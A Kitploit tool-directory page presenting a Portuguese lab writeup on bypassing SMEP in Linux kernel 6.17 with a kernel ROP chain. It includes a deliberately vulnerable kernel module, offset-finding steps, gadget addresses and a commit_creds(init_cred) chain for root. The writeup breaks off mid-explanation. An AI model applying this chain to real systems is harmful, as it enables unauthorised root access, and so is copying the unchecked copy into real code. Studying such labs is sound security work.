Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
kernel-krop-smep-bypass — Linux Kernel 6.17 Stack Overflow - Bypass de SMEP via kROP (Writeup em turco) | Kitploit
Ferramentas/GitHubGitHub/exploitbey/kernel-krop-smep-bypass
Escalada de PrivilégiosForensia de MemóriaExploraçãoEngenharia ReversaShellcodeDepuradoresPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de Payloads
Compartilhar
Exploração de Binários
GitHubexploitbey/kernel-krop-smep-bypass

kernel-krop-smep-bypass

Linux Kernel 6.17 Stack Overflow - Bypass de SMEP via kROP (Writeup em turco)

Ver Repositório
há 3h 20mAinda não revisado

Linux Kernel 6.17 — Bypass de SMEP com Stack Overflow: Técnica kROP

Autor: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass

Neste writeup, examina-se como explorar uma vulnerabilidade de kernel stack overflow no Linux kernel 6.17.0-5-generic com SMEP e SMAP ativos. O método clássico ret2user torna-se ineficaz diante dessa proteção. Como alternativa, utiliza-se uma cadeia Kernel ROP (kROP).

As demais proteções (KASLR, KPTI, shadow stack, stack canary) foram desativadas neste ambiente; o foco é exclusivamente a técnica de bypass de SMEP.


Primeiro, vamos conhecer a proteção: o que é SMEP?

SMEP (Supervisor Mode Execution Prevention) é uma proteção em nível de processador. O kernel não pode executar códigos em páginas de memória pertencentes ao espaço do usuário. Ou seja, quando você escreve shellcode em um buffer do usuário e redireciona o kernel para lá, a CPU interrompe você imediatamente.

É por isso que o ret2user clássico morre.

Você pode confirmar pelo GDB que SMEP e SMAP estão ativos:

info register cr4

Se o valor for 0x372ef0, converta para binário e examine os bits:

0x372ef0 → 0011 0111 0010 1110 1111 0000

Da direita para a esquerda, começando no índice 0:

Grupo de bitsIntervaloSignificado
00000–3—
11114–7Bit 5=PAE, Bit 7=PGE
11108–11Bit 9=OSFXSR, Bit 10=OSXMMEXCPT
001012–15Bit 13=VMXE
011116–19Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE
001120–23Bit 20=SMEP ✓, Bit 21=SMAP ✓

Bit 20 definido → SMEP ativo. A CPU bloqueia a execução de código em páginas Ring 3 a partir do Ring 0.

Uma observação: a partir do kernel 5.16, o registrador CR4 foi "fixado". Antes, era possível limpar o bit SMEP com gadgets do tipo mov cr4, rax. Agora essa porta está fechada. Mas isso não importa, porque não vamos tocar no CR4 de forma alguma.


Ambiente de Laboratório

  • Host: Kali Linux 2025.4
  • Guest: Lubuntu 25.10, kernel 6.17.0-5-generic (sobre QEMU)

O vmlinuz deve ser copiado do guest para o host. Após copiar, converta-o em vmlinux_raw:

./extract-vmlinux vmlinuz > vmlinux_raw

Script: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

Requisitos

  1. O kernel deve ser exatamente 6.17.0-5-generic (em uma versão minor diferente o binário muda e os endereços dos gadgets não coincidem)
  2. SMEP e SMAP devem estar ativos
  3. KASLR, KPTI, shadow stack e stack canary devem estar desativados

A linha do GRUB no guest:

GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"

Comando de inicialização do QEMU:

qemu-system-x86_64 \
  -m 4G \
  -enable-kvm \
  -cpu host \
  -drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
  -vga qxl \
  -device virtio-serial-pci \
  -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
  -chardev spicevmc,id=spicechannel0,name=vdagent \
  -display spice-app \
  -net nic -net user \
  -usb -usbdevice tablet \
  -vga virtio \
  -s -S

Inicie o GDB no host durante a inicialização do sistema:

gdb ./vmlinux_raw
# ardından: continue

LKM Vulnerável

Fonte: rop.c

__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
                            size_t count, loff_t *ppos) {
    char tampon[64];
    // ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
    if (_copy_from_user(tampon, buf, count)) {
        return -EFAULT;
    }
    return count;
}

Buffer fixo de 64 bytes. _copy_from_user nunca verifica quantos bytes serão copiados. Basta enviar 65 bytes a partir do espaço do usuário; a pilha do kernel começa a ser corrompida.

Ponto de entrada do exploit: /dev/vuln_device

Compilação e Carregamento

sudo su
make          # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko

Em seguida, copie rop.ko para o host (informações de símbolo são necessárias para o GDB).


Stack Frame

Convenção de chamada x64: o primeiro argumento é RDI, o segundo é RSI, o terceiro é RDX, o quarto é RCX.

Quando device_write é chamado, o endereço de retorno está localizado em rbp+8 na stack do kernel. Nosso objetivo é assumir o controle desse endereço.


Exploração

Passo 1: Detecção de Offset

O LKM foi compilado com símbolos de depuração, então vamos rastreá-lo adequadamente com o GDB.

No guest, examine os endereços dos módulos:

cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)

cat /sys/module/rop/sections/.text   # 0xffffffffc092f000
cat /sys/module/rop/sections/.data   # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss    # 0xffffffffc0a15640

Pressione Ctrl+C no GDB no Host, carregue os símbolos:

add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640

Breakpoint antes e depois de _copy_from_user:

b *0xffffffffc092f059
b *0xffffffffc092f05e
continue

Crie um padrão de 88 bytes com o Metasploit:

msf-pattern_create -l 88

Salve o padrão como payload.txt, envie com find_offset:

gcc -o find_offset find_offset.c
./find_offset payload.txt

Ele vai parar no breakpoint do kernel. No GDB, anote o conteúdo de rbp+8. No segundo breakpoint, você verá que rbp+8 está preenchido com o pattern.

Calcule o offset no host:

msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72

O endereço de retorno é gravado a partir do byte 72.


Passo 2: Payload ROP

Por que o ROP consegue contornar o SMEP? Porque o ROP utiliza códigos já existentes na própria região .text do kernel. Ele não executa código novo. Não toca na memória do usuário de forma alguma. O SMEP não consegue detectar isso.

Save State

Salve os registradores do user space antes do iretq:

__asm__ volatile (
    ".intel_syntax noprefix;"
    "mov user_cs,     cs;"
    "mov user_ss,     ss;"
    "mov user_sp,     rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
    ::: "memory"
);

"memory" crítica de clobber: se o GCC armazenar esses valores em cache, o frame iretq ficará corrompido.

Cadeia de Gadgets

payload[i++] = POP_RDI_RET;    // pop rdi ; ret
payload[i++] = INIT_CRED;      // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS;   // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir

Por que prepare_kernel_cred não existe? No kernel 6.17, não foi encontrado um gadget de transferência de registrador limpo como mov rdi, rax ; ret. init_cred já é um endereço estático, pop rdi; ret é suficiente. O payload também permanece pequeno: 144 bytes.

Endereços dos gadgets:

commit_creds e init_cred:

cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds

cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred

pop rdi ; ret → opcode \x5f\xc3

Intervalo .text:

Başlangıç : 0xffffffff81000000
Boyut      : 0x1637970
Bitiş      : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3

O primeiro resultado 0xffffffff812582bd → verifique no GDB com x/3i 0xffffffff812582bd. Sequência limpa pop rdi; ret.

swapgs + iretq → opcodes: 0x0F 0x01 0xF8 e 0x48 0xCF

python3 find_swapgs.py vmlinux_raw

O script retorna dois candidatos. 0xffffffff81001866 contém pops demais, o que corrompe a stack. Examine 0xffffffff8100118f:

0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...]   ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne  0xffffffff81001241

Onde ele pula:

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    411
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Mecanismo OSINT com IA para descobrir e mapear mais de 7.700 identidades em redes sociais na web

    275

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →